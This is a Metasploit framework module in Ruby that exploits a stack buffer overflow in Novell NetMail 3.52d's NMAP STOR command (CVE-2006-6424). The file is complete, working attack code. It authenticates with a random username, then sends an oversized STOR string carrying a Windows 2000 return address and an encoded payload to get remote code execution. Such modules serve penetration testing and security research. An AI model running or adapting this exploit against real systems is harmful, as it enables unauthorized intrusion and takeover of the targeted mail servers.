require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Novell's Netmail 3.52 NMAP STOR verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'BID', '21725' ], [ 'CVE', '2006-6424' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 23 2006')) register_options([Opt::RPORT(689)], self.class) end def exploit connect sock.get_once auth = "USER " + rand_text_english(10) sock.put(auth + "\r\n") res = sock.get_once sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V') sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded if (res =~ /1000/) print_status("Trying target #{target.name}...") sock.put(sploit) else print_status("Not in Trusted Hosts.") end handler disconnect end end